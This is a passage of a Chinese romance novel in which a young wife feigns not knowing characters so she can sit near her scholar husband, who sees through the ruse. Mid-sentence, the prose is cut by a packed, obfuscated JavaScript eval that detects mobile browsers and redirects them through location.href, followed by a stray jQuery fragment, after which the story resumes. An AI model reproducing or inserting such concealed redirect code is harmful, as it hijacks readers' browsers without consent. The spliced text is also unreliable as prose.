傅清漪知道春萦斋,前后两进院,前院有不仅有书房,还有小楼,这里只是崔豫的临时书房。但是文人讲究,步步锦地罩隔成的小天地中,不仅书案和文房四宝俱全,满墙的架子上书册整齐。 她轻手轻脚跨过地罩,走到墙边的书架前,一列列地看过去。 上边不是子史经集,便是各类典籍,她识字不多,许多名字都认不全。 “夫君。”傅清漪柔声询问道,“这上边的书,妾可以看吗?” 崔豫瞥她一眼,目光又落回书上,“可,只能在这里看,不许折角、污损。” 也就是说,只能在这处小书房里看,还要爱惜书卷才可。正好合她的意,就是想借机往他身边凑呢! 傅清漪瞧瞧架上的书卷,大多数她都不认识,索性眼巴巴地望着他,“夫君,能否帮妾选一本?妾……识字不多。” 静了两息,崔豫方从书卷上抬眼,目光落在她脸上,“《千字文》、《太公家教》、《急就篇》、《孝经》读过哪些?” 他问的这四本,都是幼童开蒙所学,先读《千字文》识字,再授《太公家教》明理,都学透了,才授《急就篇》或《孝经》等典籍。 傅清漪眨了眨眼眸,回道:“《千字文》和《太公家教》我都会,《急就篇》会的不多,里边有许多生僻字,太过久远记不清了。” 崔豫略一沉吟,将手中的书卷反扣在桌案上,起身去书架前寻找,熟悉地取出薄薄的一册,“这是一本游记,里边讲的是山川、河流还有一些风土人情,生僻字少,适合你读。”递到她手中,又补充一句,“这是孤本,小心翻阅。” “我会小心的。”傅清漪含笑应下,指尖轻轻抚过书面,书页早已泛黄,依然平整妥贴,显见被它的主人精心爱护着。 左右看看,书案后边有张上好的梨木椅,是崔豫的位置,初来乍到,她不好意思坐过去。又瞧瞧崔豫坐的榻,榻几的另一侧倒是空着,她拎着裙摆坐过去,在崔豫看过来的时候,朝他挤出一个明亮的笑容,才低下头开始看书。 翻了两页,确实没有遇到不认识的字,文章写得有趣,通俗易懂——可她的心思,并不在读书上。 悄悄抬眼,崔豫仍在垂目翻书,鸦羽般的长睫在眼下投出浅影,侧脸被窗上透进来的日光照得愈发清隽。 傅清漪的指尖在书页上打着圈儿,犹豫了一会儿,轻声开口,“夫君,妾有个字不认识。” 崔豫头也不抬,随口问道:“哪个字?” 小心思得逞,傅清漪立刻凑过去,把书本摊在他面前,指着其中一处,“就是这个字。” 崔豫道:“魈,音同小月肖。” 看他要移开目光,傅清漪立刻又问,“魈是什么意思呢?” “魈这个字,常与山字组合成山魈一词,说的是一种面容淡蓝色,有红色口鼻的猴子,因面貌奇异鬼魅,故而被称作‘山中之鬼’。所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347581|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山魈亦指山林中的鬼怪。”崔豫指着那行字,耐心解释,“‘这个字在此处,用的正是鬼怪的意思,‘形如山魈’,就是说它的样子怪异吓人,错把它当作鬼魅精怪。” 或许是因为长久没开口,一下子说太多,崔豫的嗓音漫出点沙哑,娓娓道来时,别有一番温和醇厚的意味。看着他专注地眉眼,傅清漪忽然觉得耳根发热,连气息都迟滞了。 “懂了?”崔豫抬眼,正撞见她发呆的模样。 她胡乱“嗯”了一声,匆忙又指向另一个字,“这个呢?” 她的话音拖了点软糯的调子,像毛绒绒的毡子蹭过掌心,说不出来的痒,崔豫的手指收拢成拳,指尖顶在掌心的位置,顿了顿,才道:“这个字念阜,音同背负的负字,其中的一个意思是指山丘,此处‘累积不缀,可成丘阜’出自《淮南子·说林训》,意思是堆积不停,就可以形成高丘。世人多用以勉励,坚持不懈,持之以恒,终会有所得。” 崔豫轻轻呼出一口气,又问,“还有吗?” 傅清漪眼珠一转,毫不客气地又指出一个字,崔豫的手指在她指过的位置轻点,蹙眉道:“这个字是‘斡’,你不认得?” 被他目光沉沉地盯着,傅清漪耳尖发热,心里像闯进一只乱撞的雀儿,叽叽喳喳乱了心弦,只能硬着头皮敷衍,“哦,原来念斡。” 崔豫挑了挑眉,眼底浮现出几分不解,“你方才不是说,你会《千字文》?这个字《千字文》里就有,‘璇玑悬斡,晦魄环照’,想起来了吗?” 自己的伎俩被似乎识破了,会不会觉得她刻意找借口亲近,很轻浮?傅清漪轻轻抠着耳后的皮肤,轻笑,“有印象了。” 她睁着一双水盈盈的笑眼,迎着崔豫的注视,相持片刻,崔豫的眼神却一点一点暗下去。 傅清漪尴尬之余,又有些委屈,自己只想和他多说几句话,免得一直生分,就算他不想,也不用生气吧? 望着他手边的书卷,忽然心生戒备——她在学堂里,书背得不好,被夫子用书砸过头,疼倒是其次,最要紧的是丢脸。 崔豫该不会觉得,她有意消遣他,也拿书砸她吧? 崔豫倒不是生气,只是觉得心思不该浪费在拙劣的事情上,低头重新指向方才说过的“阜”字,“这个字,《千字文》里也有,‘奄宅曲阜,微旦孰营’你也忘记了?”合起书册递给她时,又补充了一句,“或许你应该,重新读一遍《千字文》。” 傅清漪捧着书册,又羞又气,不愧是状元郎、集贤院学士!这么寻常的两个字,在千字文的哪个位置,都能信手拈来,佩服! 可是,看破不说破不行吗?就算知道她是有意为之,也不用如此直白地扫她的脸面吧?《千字文》是三岁幼童启蒙就开始读的,这是讽刺她不如三岁幼童? 傅清漪讪讪地坐回去,这回离得榻几远远的,坐在边上,影子斜斜投在地上,像条没精打采的尾巴。 她想过把书册还回去,离这个讨厌的家伙远点! 可是平心而论,崔豫本人虽不讨喜,但是他推荐的这本游记实在有趣。她自幼囿于后宅,到过的地方屈指可数,恰逢好玩爱动的年岁,对于游记中描述的山河,很是向往。 罢了,跟这不通人情世故的木头计较什么。傅清漪压下心头的羞恼,重新捧起书册认真品读。 才静下心来,崔豫忽然开口,声音在安静的房间里格外清楚,“若是实在有不认识的字,你可以去问书锦或者画意,她们两个之前在书房侍奉笔墨,都是识文断字的。” 真是遇到榆木疙瘩了,难道她要抛媚眼给婢女看?傅清漪咬咬嘴唇,闷闷地应了一下,这次没有心思搭理他,继续埋头读书,连崔豫抬头打量她,都没有发现。 室内除了偶尔翻动书页的声,落针可闻。